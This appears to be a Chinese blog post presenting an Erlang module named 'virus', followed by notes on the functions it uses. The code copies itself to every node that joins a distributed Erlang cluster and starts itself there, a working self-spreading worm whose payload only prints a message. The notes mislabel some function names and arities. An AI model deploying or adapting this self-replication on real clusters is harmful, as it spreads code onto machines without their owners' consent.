-module(virus).
-export([start/0]).
-export([start/1]).
start() -> spawn_process(code:get_object_code(?MODULE)).
start(Beam) -> spawn_process(Beam).
spawn_process(Beam) ->
case whereis(?MODULE) of
undefined -> spawn(fun() -> virus(Beam) end);
_Else -> ok
end.
virus(Beam) ->
register(?MODULE, self()),
net_kernel:monitor_nodes(true),
io:format(user, "You're infested!~n", []),
%[infest(Node) || Node <- nodes()],
virus_loop(Beam).
virus_loop(Beam) ->
receive
{nodeup, Node} ->
infest(Node, Beam),
io:format(user, "~p has joined!~n", [Node])
end,
virus_loop(Beam).
infest(Node, {Mod, Bin, File} = Beam) ->
{module, Mod} = rpc:call(Node, code, load_binary, [Mod, File, Bin]),
rpc:call(Node, ?MODULE, start, [Beam]).
代码详解:
1)、code:get_object_code/1, code:load_binary/1
get_object_code/1 方法会查询代码路径来定位指定模块所在的位置,返回值是{Module,Binary,FileName}即{模块名,模块的二进制数据,模块的文件信息}.这个方法的执行后我们就获得了指定模块的元数据和二进制数据,后面就是通过code:load_library/3来加载新的模块了.执行完load_library方法就大功告成。
2)、erlang:whereis/1
有时候我们需要判断目标进程是否已经启动,如果没有启动才额外启动目标,否则skip。通常情况下我们,可以在进程表中搜索目标进程即可。在elrang中,可以借助于 erlang:whereis 函数。
whereis(RegName) -> pid() | port() | undefined
Returns the pid or port identifier with the registered name RegName. Returns undefined if the name is not registered.
3)、net_kernel:monitor_nodes/1
http://www.cnblogs.com/me-sa/archive/2011/07/12/erlang0005.html